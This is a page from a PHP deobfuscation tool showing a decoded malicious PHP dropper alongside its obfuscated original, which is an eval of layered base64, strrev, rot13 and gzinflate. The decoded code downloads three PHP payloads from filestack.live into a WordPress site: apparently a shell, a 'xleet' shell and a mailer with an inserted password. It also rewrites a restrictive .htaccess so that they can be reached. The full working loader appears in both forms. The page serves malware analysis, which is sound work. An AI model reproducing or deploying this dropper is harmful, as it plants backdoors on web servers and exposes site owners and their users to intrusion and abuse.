Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $MCLTD = 'ba'.'se64'.'_decod'.'e'; $WDIrn = 'strre'.'v'; $ZrewC = 's'.'t'.'r'.'_rot1..
Decoded Output download
error_reporting(0); $p_olux = str_replace("../", "", "/www/321crew.com/www/4GFAgKuYey2.php"); $p_mailer = str_replace("../", "", "/www/321crew.com/www/ZMNV5wqQufe.php"); $p_xleet = str_replace("../", "", "/www/321crew.com/www/z7qAeymjTMZ.php"); $root = str_replace("../", "", "/www/321crew.com/www/"); function http_get_contents($url){$codex = file_get_contents($url);if (empty($codex)){$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 60);curl_setopt($ch, CURLOPT_TIMEOUT, 60);curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER["HTTP_USER_AGENT"]);$urlPage = curl_exec($ch);curl_close($ch);return($urlPage);}else {return $codex;}} function save($path, $source){ if(function_exists("file_put_contents")){ file_put_contents($path, $source); }else { fwrite(fopen($path,"w"), $source); } } function read($path){ if(function_exists("file_get_contents")){ $rr = file_get_contents($path); }else { $rr = stream_get_contents(fopen($path, "r")); } return $rr; } if(!file_exists($p_olux)) { $olux = http_get_contents("http://filestack.live/5de9c03400251a73ad64a272db83fab0.htm"); if(preg_match("/<\?php/", $olux)){ save($p_olux, $olux); } } if(!file_exists($p_xleet)) { $xleet = http_get_contents("http://filestack.live/2995e3adc0c914b5a67cc9c6fb40ad73.htm"); if(preg_match("/<\?php/", $xleet)){ save($p_xleet, $xleet); } } if(!file_exists($p_mailer)) { $mailer = http_get_contents("https://filestack.live/79f37cf98ac7d864a573c96fd19390ba.htm"); if(preg_match("/<\?php/", $mailer)){ $mailer = str_replace("xxxxxxxxxxxxxxxxxxxxxxx", "e4DRdEzOJMW", $mailer); save($p_mailer, $mailer); } } save($root."wp-includes/index.html", "<!DOCTYPE html><title></title>"); $htx = strtolower(read($root.".htaccess")); if(preg_match("/deny(.*)from(.*)all/", $htx) || preg_match("/order(.*)allow(.*)deny/", $htx)) { $htx = "<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php\$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>"; chmod($root.".htaccess", 0644); save($root.".htaccess", $htx); } Did this file decode correctly?
Original Code
<?php $MCLTD = 'ba'.'se64'.'_decod'.'e'; $WDIrn = 'strre'.'v'; $ZrewC = 's'.'t'.'r'.'_rot1'.'3'; $LsfeS = 'gzin'.'flate'; error_reporting(0); eval($LsfeS($ZrewC($WDIrn($MCLTD('AT/jvhpEYYfZu3BTrTJdlRYcl9kt8WkVLiPmxrpskuWeFENnqfv5AUEPOzgj1lP3GtDBn+7CeEZqrGm2/B9wj6Atl+Hnwc4ErvZb8dxNiv/B4dX2xsY7Ht/LW8dgIxhS4ra5HYu8vDoVGKIrPsKwIRZ+wjBO3Si1J7sXi3w8F85jolyM+JjA9gH4/A1XMGWJFF6fxWsgLWr9Rx+KPgK1/7aKmkQIPIjMyTSeSBEc4RxFs2R2LPdkQpDXctCNIaXZZdwD8Nlq3ZXZ7vJkHJc1DsxuGpR8yjDGHmVsK6HF+bpO1FSuw1Uq2zqoaR9Tf+3fW+OVxqO4fH/n+/MN7AVpCjfSCd7mSWGzSPgVs1Cu2brVgv96g8LzAw29TptiVx6eQ1/eO3wpZ45brLxosMLVJ/pS0QT9afzxRLzBWwmhDatem8x6TKBJFSYiedM10XHtkzeakzjFkvPvXMx5xCn7N6+TJKNQ4TzYv7vdGKqlwo0TYLQQmlg/D8Vnl9FeYgPUX5/NabVrd9+e67Xqs02VKjepS1mPpoyG/Cj1/8HqRiPBhh/TY6ojw67MXM400sTFMQo5EznpjfwhIam2SisYT4EKu5H2reRAHY4kZUJZF+755CJHQ7hp7RTHZC+eThpUYKD20VyUoFxDQQGpFIScggDQoDrJX9YHAc6wpP1CcZT9EVSaym55sE66gYQa2lEIzilXunIeJsWN96lT1Pj487w3IGmWsCKURB5ooBNob1N1gmrJFOEYdwqZyCPdCPZ6At633Lw60XylwnNrSfdcYUl8pM15c5XDMaxibWXE6ah28DHW2HI9llMO676tjx7feWTuJ7G9gJxRKtbx/WN0Le90DJk7DHxBeJPG9OuxnUHljoQj1QZcewO5792hh/aHD3pnEXyd8BlBTF3qxuYi9FYDKPYzut91dEb6DLLYMoTiiKdLjrVIIcYWe5kAFlgx40clQ30JSYqADCdAGfq+wFyvEfYgl1tVkZS1RllEWWQGZ0C2cdKSwY4hpDFxGB4ed/xgipbT6O5/1Yeh7X9ifUXX0QhU3WPtALLvr/M3340afWXXkQjC8rTJFFmybXceiPs28WJozeN7xK8Q65QSFU31G55sG/8KBkWG66KqUR5S8KlVJ/B7so4ZkpQHTStDvG6hMFcIzJghEAV31efb7fdscAzCGFZAhh9Kv+aUnWXK5YzvgyyMcNN6O1l3YxXDQSOG5cHxN82IYrGbh4or/RA42mYNSJU='))))); ?>Function Calls
| strrev | 1 |
| gzinflate | 1 |
| str_rot13 | 1 |
| base64_decode | 1 |
| error_reporting | 1 |
Stats
| MD5 | 1fc16fbab71b85425e3af8d2e98246a7 |
| Eval Count | 1 |
| Decode Time | 52 ms |